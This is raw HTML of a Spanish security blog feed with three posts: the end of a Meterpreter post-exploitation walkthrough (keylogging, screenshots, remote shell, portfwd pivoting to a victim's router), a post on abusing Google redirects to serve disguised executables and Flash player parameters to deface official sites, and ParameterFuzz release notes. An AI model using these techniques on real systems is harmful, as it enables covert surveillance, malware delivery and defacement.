<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjK5ucRjlsHgIKo3eP58_SnUU_qHH5N4lzX0g3zYTddMclB-IqVoSqPFISCbx_3VYiIEaTPfoZoyBC0Fj74lzIDc4qW7BKQJ6RVZddL3DDvqcYafrn-on3CMFmEHsWRHkzrxGKVbnayzRER/s1600/11%252Bwireshark%252Benelpc.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="380" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjK5ucRjlsHgIKo3eP58_SnUU_qHH5N4lzX0g3zYTddMclB-IqVoSqPFISCbx_3VYiIEaTPfoZoyBC0Fj74lzIDc4qW7BKQJ6RVZddL3DDvqcYafrn-on3CMFmEHsWRHkzrxGKVbnayzRER/s640/11%252Bwireshark%252Benelpc.png" width="640" /></a></div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Para la captura de credenciales, de igual manera
Meterpreter, también soporta el modo Keylogger, que puede ser complementado con
información importante como la realización de una captura mediante el comando “screenshot”…</span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal">
<span style="font-family: Courier New, Courier, monospace;"><o:p></o:p></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhqhyGYwvGetsThJ8df5SMLPe6r_nGXc72-FpGwmsaLZ-3hc8VVP6msRY2lr8WlNrHAqja5flcF7di6jg8Ieuf0bfu03XfUakKLQz7qRldHII_2STCrAXNK7UvA8aGMC1ACk1BsQfKU_S7l/s1600/screenshot%252Benelpc.jpeg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="480" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhqhyGYwvGetsThJ8df5SMLPe6r_nGXc72-FpGwmsaLZ-3hc8VVP6msRY2lr8WlNrHAqja5flcF7di6jg8Ieuf0bfu03XfUakKLQz7qRldHII_2STCrAXNK7UvA8aGMC1ACk1BsQfKU_S7l/s640/screenshot%252Benelpc.jpeg" width="640" /></a></div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">O simplemente visualizando el tiempo con el comando “idletime”,
en el que el usuario vulnerado, no se encontraba delante de la PC. De esta manera saber, si la víctima se encuentra o no, presionando teclas.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjReoOfq4Scfk5z5U3HFpquBwTl8kHr-TUn5lMt4foqpw9eDjYB4MLFqYTUo0nqZSTTuiNIyUaOmEnjSBCGe15dAJF9HUqV2KlGTTRiHnDDIuXnsqH4sSVXi7u8Re4KkFpU64v98dYWRA5H/s1600/idletime%252Benelpc.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjReoOfq4Scfk5z5U3HFpquBwTl8kHr-TUn5lMt4foqpw9eDjYB4MLFqYTUo0nqZSTTuiNIyUaOmEnjSBCGe15dAJF9HUqV2KlGTTRiHnDDIuXnsqH4sSVXi7u8Re4KkFpU64v98dYWRA5H/s1600/idletime%252Benelpc.png" /></a></div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Otra de las opciones interesantes de Meterpreter, es la de
hacernos con la consola de Windows de forma remota, utilizando el comando “Shell”,
se abrirá un proceso con un canal a la escucha para la interacción. Podremos
por ejemplo lanzar un “ipconfig”, para visualizar la puerta de enlace de la
máquina vulnerada, aunque Meterpreter de igual manera, responde a comandos como
“ipconfig” e “ifconfig” fuera de la función “Shell”.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Con esta información, podremos llegar por HTTP a la IP del
router o cualquier IP de la red interna de la máquina vulnerada, mediante la
realización de la técnica Pivoting.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Haciendo <b>Pivoting</b>, conseguiremos redireccionar el tráfico de
uno de los puertos de la máquina vulnerada, a un puerto abierto de nuestro
sistema. En el caso de que un ataque, sea realizado hacia una conexión externa a nuestra red, necesitaremos previamente tener
abiertos los puertos en nuestro router y la <b>NAT </b>apuntando a nuestra IP interna, para lograr la comunicación.
<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">El comando, “portfwd” nos dará las siguientes opciones para
la redirección, así que añadiendo una entrada a su tabla de la siguiente
manera, conseguiremos el <b>Pivoting </b>a nuestro puerto 5000.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgjpSodw8IuQ6Y4z69kJV9GrcPhXG2dPSB6B0e4huJ9y74DX-BORvauRYt8pLvjSu-6_I5kUs2j-5vH_zZN3NXVBQj8zNL2q0_e-UinPAfVak2pP0d-an1ot-EuEG0_saEkzyvtRzX7xJDF/s1600/13%252BPivoting%252Benelpc.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgjpSodw8IuQ6Y4z69kJV9GrcPhXG2dPSB6B0e4huJ9y74DX-BORvauRYt8pLvjSu-6_I5kUs2j-5vH_zZN3NXVBQj8zNL2q0_e-UinPAfVak2pP0d-an1ot-EuEG0_saEkzyvtRzX7xJDF/s1600/13%252BPivoting%252Benelpc.png" /></a></div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Tan solo abriendo nuestro navegador y visitando a nuestro
<b>localhost</b>, junto al puerto, conseguiremos tener delante el acceso al <b>router </b>de
la red de la víctima. <b>Fuzzing</b>, credenciales por defecto…<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh9EvtCOuK8LG6LOibGjSUYrZLNb8sh7UDqZRtCQRgL-0KtLdrtmStaIce2jh12gGTQVZIledjiRFROQbdw_IKeKlfTTdkPuDXiOD1qPYczVswwZBQyQeTbl70fAUwjHtVjc0BL_nW9xKB-/s1600/14%252BRouter%252BPivoting%252Benelpc.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="416" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh9EvtCOuK8LG6LOibGjSUYrZLNb8sh7UDqZRtCQRgL-0KtLdrtmStaIce2jh12gGTQVZIledjiRFROQbdw_IKeKlfTTdkPuDXiOD1qPYczVswwZBQyQeTbl70fAUwjHtVjc0BL_nW9xKB-/s640/14%252BRouter%252BPivoting%252Benelpc.png" width="640" /></a></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: 'Courier New', Courier, monospace;">Resulta inquietante ver nuestro proceso <b>svchost.exe</b>, justo
debajo de la gran seguridad Antivirus que proporciona <b>Avast </b>en este caso. Antivirus y nada... es nada.</span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi4NDVgK1K3chmzoMG6NgM2Uckom3YsKm5IaMMeVulqtDsBQDDpweC2kWqTO8d9ASr_CM-lz_q_AC98W-ecGR3YnHlxE7LmlkKtD2iTg5UFJsA4MaunTNT-GrmkSvho0S4L7IcsyUyBE2Db/s1600/16.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="258" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi4NDVgK1K3chmzoMG6NgM2Uckom3YsKm5IaMMeVulqtDsBQDDpweC2kWqTO8d9ASr_CM-lz_q_AC98W-ecGR3YnHlxE7LmlkKtD2iTg5UFJsA4MaunTNT-GrmkSvho0S4L7IcsyUyBE2Db/s640/16.png" width="640" /></a></div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Para más información, les dejo el enlace del famoso libro de mi compañero y amigo <b><a href="http://www.flu-project.com/author/fluproject">Pablo Gonzalez</a></b>, titulado <a href="http://www.informatica64.com/libros.aspx?id=ME">Metasploit para Pentesters</a>.</span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Saludos 4n4les! ;)</span><o:p></o:p></div>
<div class="blogger-post-footer">Feed Blogger Germán Sánchez Garcés</div>Germán Sánchez Garcéshttp://www.blogger.com/profile/09955799520119890787noreply@blogger.com7tag:blogger.com,1999:blog-2707641124274171597.post-21602539204194549092012-11-07T00:02:00.000+01:002012-11-07T00:02:11.352+01:00Google & Indexación = Malware & Defacement<div>
<span style="font-family: 'Courier New', Courier, monospace; text-align: justify;">Hace un tiempo, mirando las fuentes
de tráfico de mi blog, me di cuenta que muchos de los enlaces procedían como es
lógico desde Google, curioso de mí, hice clic sobre estos para ver a donde me
llevaban. En algunos casos, terminaba viendo imágenes indexadas de mi propio
blog, sin embargo en otros automáticamente se redireccionaba a un tema en
cuestión que anteriormente había publicado.</span></div>
<div>
<div style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Con lo que me di cuenta que
Google a diferencia de otros buscadores, utilizaba un enlace de
redireccionamiento a todas las páginas que se encontraban indexadas en este. Si
recuerdan mi anterior entrada sobre la <a href="http://www.enelpc.com/2011/12/redirects-y-hasta-la-cocina.html">distribución
de malware mediante “redirects”</a>, el principio de esta es sencillamente
idéntica, pero utilizando nada más ni nada menos que el dominio principal de
Google para este fin.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Se me ocurrió que sería una buena
idea indexar ejecutables en el gigante de Google, utilizando páginas conocidas
por el mismo, las <b>toolbars </b>o simplemente llevando a cabo un buen trabajo <b>SEO</b>,
para dar salida a nuevos enlaces que corriesen bajo la redirección de Google.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Para ver si Google protegía a sus
usuarios contra descargas de ejecutables de terceros desde su propia URL, se me
ocurrió hacer búsquedas de extensiones ejecutables conocidas como “SCR” o
instaladores “MSI”. La siguiente imagen no solo demuestra que Google indexa
este tipo de archivos, sino que también permite leer su interior ya que este lo
toma como texto.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEggB19UqqHTbYSNHuPXmzgS8vBSHJ_p4A0cq9jh-W-K6Ew67YhRjtLIpsIF2jenE8B_khGfag8nMoX0r3f1SSAQAvj7a6AAP0R0OS8WVpHH1kztvO9h9zSh8cmAoF9jsJQawelO8h_aMMg6/s1600/Imagen1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="546" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEggB19UqqHTbYSNHuPXmzgS8vBSHJ_p4A0cq9jh-W-K6Ew67YhRjtLIpsIF2jenE8B_khGfag8nMoX0r3f1SSAQAvj7a6AAP0R0OS8WVpHH1kztvO9h9zSh8cmAoF9jsJQawelO8h_aMMg6/s640/Imagen1.png" width="640" /></a></div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">No contento con esto, gracias a
las fabulosas descargas automáticas de <b>Google Chrome</b>, se descarga el ejecutable
en nuestro equipo al hacer clic sobre el enlace, pudiéndose tratar perfectamente
de un malware disfrazado de salvapantallas.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Para ver de manera detallada el
enlace, se observa como el campo de URL transporta la dirección de la página a
resolver, junto al fichero y extensión en texto claro.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgGZ-vl98SAkN3NrMiFzw-nQiKh77esFSTXCd1PZa8tjkjjilYtxrJtlfubpNiY-q7YC0zIMdYb2LcIQ_5A3x6AyEo75cqycbgXs9hOa8qQlVd1PkzHT6cJW8HKC1xD2hlm_lx-2EMes_78/s1600/imagen2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="222" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgGZ-vl98SAkN3NrMiFzw-nQiKh77esFSTXCd1PZa8tjkjjilYtxrJtlfubpNiY-q7YC0zIMdYb2LcIQ_5A3x6AyEo75cqycbgXs9hOa8qQlVd1PkzHT6cJW8HKC1xD2hlm_lx-2EMes_78/s640/imagen2.png" width="640" /></a></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Para agitar más la entrada, ya
que hablamos de SEO, o más bien Black Hat SEO, el cual nos ayudará a indexar
estos ejecutables en Google, podemos saltar del malware al defacement. La
verdad no vi nada al respecto por internet sobre el tema, pero podría ser lo
más parecido a lo que un IFRAME INJECTION o quizás un HTML INJECTION, podría
llegar a explotar.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Ciertas aplicaciones Flash
dedicadas a la visualización de contenido multimedia, utilizan rutas relativas
para hacer llamadas a videos, imágenes o archivos, en caso de videos normalmente FLV, para proceder a su
visualización. En otros casos, se requieren llamadas por HTTP/S al mismo
servidor o externos, que por ende son modificables desde la propia barra de
direcciones, permitiendo llamar a videos de terceros.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">El problema de utilizar estas
aplicaciones, ocurre cuando una página conocida… me refiero a páginas
gubernamentales, militares, estatales… las utilizan con el fin de publicar sus
propios contenidos multimedia.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Valiéndonos de lo comentado anteriormente,
podríamos utilizar diferentes métodos para indexar contenidos maliciosos o
fraudulentos, con el objetivo de engañar a los usuarios que encontrasen la
página mediante los buscadores. Realizando la siguiente búsqueda avanzada,
encontraremos multitud de ejemplos:<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div align="center" class="MsoNormal" style="text-align: center;">
<b><span style="font-family: Courier New, Courier, monospace;">inurl:"player.swf?video=http://"<o:p></o:p></span></b></div>
<div align="center" class="MsoNormal" style="text-align: center;">
<b><span style="font-family: Courier New, Courier, monospace;"><br /></span></b></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Entre los afectados… la página
oficial de <b>Radio Televisión Española</b>,
hoy parece que le toca mostrar contenido erótico escondido detrás de un <i>acortador de URL</i>.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhs3r0260KJ8hU_kMm8Hh3vEJebi9UC9qu1jgaOFSm-074xgk1yifxPuFtD4Vm5Tv-MGrqm4xd0uwjx9VnoaxlBSHQNO2ebF9aP_LyCXX_by3iIsSeQCLivMtV6uRkU3VrAW2LNeKjxxuVF/s1600/Imagen3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="364" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhs3r0260KJ8hU_kMm8Hh3vEJebi9UC9qu1jgaOFSm-074xgk1yifxPuFtD4Vm5Tv-MGrqm4xd0uwjx9VnoaxlBSHQNO2ebF9aP_LyCXX_by3iIsSeQCLivMtV6uRkU3VrAW2LNeKjxxuVF/s400/Imagen3.png" width="400" /></a></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Los <b>Tumbnails</b> externos, también pueden jugar malas pasadas a páginas
como <b>Telefónica</b>, además de la
suplantación de los videos.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhT4uHbZkOBQbx12u0D7_SxfCpiCBxPPTD14Rr4aah9u9ahnc3ao0GjKpiDdY7eYMr3Tdyq32Cmj1V39Gz8x43lIA88z596KcrAG_PlXihBxJI1zFHpxTu_6hDPfbQc8hwo1LlrKL8R4EwG/s1600/Imagen4.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="361" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhT4uHbZkOBQbx12u0D7_SxfCpiCBxPPTD14Rr4aah9u9ahnc3ao0GjKpiDdY7eYMr3Tdyq32Cmj1V39Gz8x43lIA88z596KcrAG_PlXihBxJI1zFHpxTu_6hDPfbQc8hwo1LlrKL8R4EwG/s400/Imagen4.png" width="400" /></a></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Y considerándome fan del Club de
la Comedia, páginas militares, hoy dejaron las armas para teñirse del humor de <a href="http://www.youtube.com/watch?v=JQwsHX76q_8">Nacho García</a>.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<i><span style="font-family: Courier New, Courier, monospace;">“La gente valora mucho tener estudios, pero tan importante como tener
estudios es tener veranos, y… ¿la gente que tiene estudios y le falta un verano?
¿A dónde van?”<o:p></o:p></span></i></div>
<div class="MsoNormal" style="text-align: justify;">
<i><span style="font-family: Courier New, Courier, monospace;"><br /></span></i></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiwdicqylvTyEGzltJlsXZ_Mr6B9f5t-cv2wMI_iM6e2au0_DOGo0HAQSl7ogJFigHa3nu07NxApyA-MJlKDZI8tOaRtUtMlpy9fvkopSLZTac48U743UsK4oJkbV0guK7dtqfTA2F7O16J/s1600/Imagen5.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="276" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiwdicqylvTyEGzltJlsXZ_Mr6B9f5t-cv2wMI_iM6e2au0_DOGo0HAQSl7ogJFigHa3nu07NxApyA-MJlKDZI8tOaRtUtMlpy9fvkopSLZTac48U743UsK4oJkbV0guK7dtqfTA2F7O16J/s400/Imagen5.png" width="400" /></a></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Saludos 4n4les! ;)</span><o:p></o:p></div>
</div>
<div class="blogger-post-footer">Feed Blogger Germán Sánchez Garcés</div>Germán Sánchez Garcéshttp://www.blogger.com/profile/09955799520119890787noreply@blogger.com9tag:blogger.com,1999:blog-2707641124274171597.post-38179100197050419772012-11-01T00:02:00.000+01:002013-02-15T18:02:07.421+01:00ParameterFuzz v1.3<br />
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Aunque más de una vez he pensado
en desaparecer de aquí, mi obsesividad por terminar aquello que empiezo, me lleva
a irradiarlo <b>enelpc,</b> convirtiendo la
actividad en un reto personal. No más lejos del objetivo de demostrarme y
demostraros que sería capaz de llevarlo a cabo.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">El problema se manifiesta cuando decides
abandonar el proyecto, aún a sabiendas de que algo se escapaba o al menos siendo
consciente de que podrías dar más de ti, haciendo de lo que anteriormente pensabas
que sería una magnífica idea empezarla, se transforma en tu peor pesadilla para
acompañar el Halloween.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Cambios respecto a la versión
anterior:<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">---------------------------------------------</span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="line-height: 115%;"><span style="font-family: Courier New, Courier, monospace;"><b>[<span style="color: lime;">+</span>]Arreglados pequeños bugs y
mejoras en la aplicación. <o:p></o:p></b></span></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="line-height: 115%;"><span style="font-family: Courier New, Courier, monospace;"><b>[</b></span></span><b style="font-family: 'Courier New', Courier, monospace; line-height: 13px;"><span style="color: lime;">+</span></b><span style="line-height: 115%;"><span style="font-family: Courier New, Courier, monospace;"><b>]Agregado un control para número
máximo de puerto a utilizar, hasta 65535.<o:p></o:p></b></span></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="line-height: 115%;"><span style="font-family: Courier New, Courier, monospace;"><b>[</b></span></span><b style="font-family: 'Courier New', Courier, monospace; line-height: 13px;"><span style="color: lime;">+</span></b><span style="line-height: 115%;"><span style="font-family: Courier New, Courier, monospace;"><b>]Agregado el control
"CSocketMaster", para peticiones manuales desde botón
"Request" o "Petición".<o:p></o:p></b></span></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="line-height: 115%;"><span style="font-family: Courier New, Courier, monospace;"><b>[</b></span></span><b style="font-family: 'Courier New', Courier, monospace; line-height: 13px;"><span style="color: lime;">+</span></b><span style="line-height: 115%;"><span style="font-family: Courier New, Courier, monospace;"><b>]Agregado el ejecutable
"Curl.exe", para compatibilidad con páginas bajo "SSL"
desde el botón "Request" o "Petición".<o:p></o:p></b></span></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="line-height: 115%;"><span style="font-family: Courier New, Courier, monospace;"><b>[</b></span></span><b style="font-family: 'Courier New', Courier, monospace; line-height: 13px;"><span style="color: lime;">+</span></b><span style="line-height: 115%;"><span style="font-family: Courier New, Courier, monospace;"><b>]Agregados los códigos de error en
respuestas del tipo 404, 403 y 500 para el log.<o:p></o:p></b></span></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="line-height: 115%;"><span style="font-family: Courier New, Courier, monospace;"><b>[</b></span></span><b style="font-family: 'Courier New', Courier, monospace; line-height: 13px;"><span style="color: lime;">+</span></b><span style="line-height: 115%;"><span style="font-family: Courier New, Courier, monospace;"><b>]Agregada la opción para utilizar
el fuzzer de parámetros con direcorios y/o archivos.<o:p></o:p></b></span></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="line-height: 115%;"><span style="font-family: Courier New, Courier, monospace;"><b>[<span style="color: red;">-</span>]Eliminado el Focus del cuadro de
búsqueda del código HTML.</b><span style="font-size: 9pt;"><o:p></o:p></span></span></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-size: 9.0pt; line-height: 115%; mso-bidi-font-size: 11.0pt;"><span style="font-family: Courier New, Courier, monospace;"><b><br /></b></span></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: 'Courier New', Courier, monospace;">---------------------------------------------</span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: 'Courier New', Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">El botón de visualización de
peticiones, ahora luce con opciones para enviarlas volcando una copia del HTML
en local, permite visualizarlas en el propio navegador de la aplicación y
modificar a mano el contenido de las cabeceras.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjwkobLXyPj3Zy8ZebkoO4pGwSF60MOG8bMGUATZwJdMXfRocu2-f6nI65U6T1YEXuiAcDPYKklOm5Kyj6awuWfqtmtECEgYt2lOiRud6Tfzt2yoXVqDkcXvjjftF50vdyue6_73ZLEKdYi/s1600/ParameterFuzz%252B1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="458" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjwkobLXyPj3Zy8ZebkoO4pGwSF60MOG8bMGUATZwJdMXfRocu2-f6nI65U6T1YEXuiAcDPYKklOm5Kyj6awuWfqtmtECEgYt2lOiRud6Tfzt2yoXVqDkcXvjjftF50vdyue6_73ZLEKdYi/s640/ParameterFuzz%252B1.png" width="640" /></a></div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: 'Courier New', Courier, monospace;">Para implementar esta opción, me
he decantado por </span><b style="font-family: 'Courier New', Courier, monospace;">CsocketMaster</b><span style="font-family: 'Courier New', Courier, monospace;">, el
hermano gemelo del conocido </span><b style="font-family: 'Courier New', Courier, monospace;">Control
Winsock</b><span style="font-family: 'Courier New', Courier, monospace;"> pero convertido en módulo. De esta manera no tendrán que
registrar librerías de ningún tipo.</span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Sin embargo, para realizar
peticiones bajo <b>SSL</b>, he introducido
un nuevo ejecutable a la aplicación llamado <b>curl.exe</b>, ya que no existen módulos gratuitos que incorporen <b>SSLv3</b> o las últimas versiones de <b>TLS</b>.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Para este tipo de peticiones, he
ajustado las cajas de texto a la consola de CURL.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
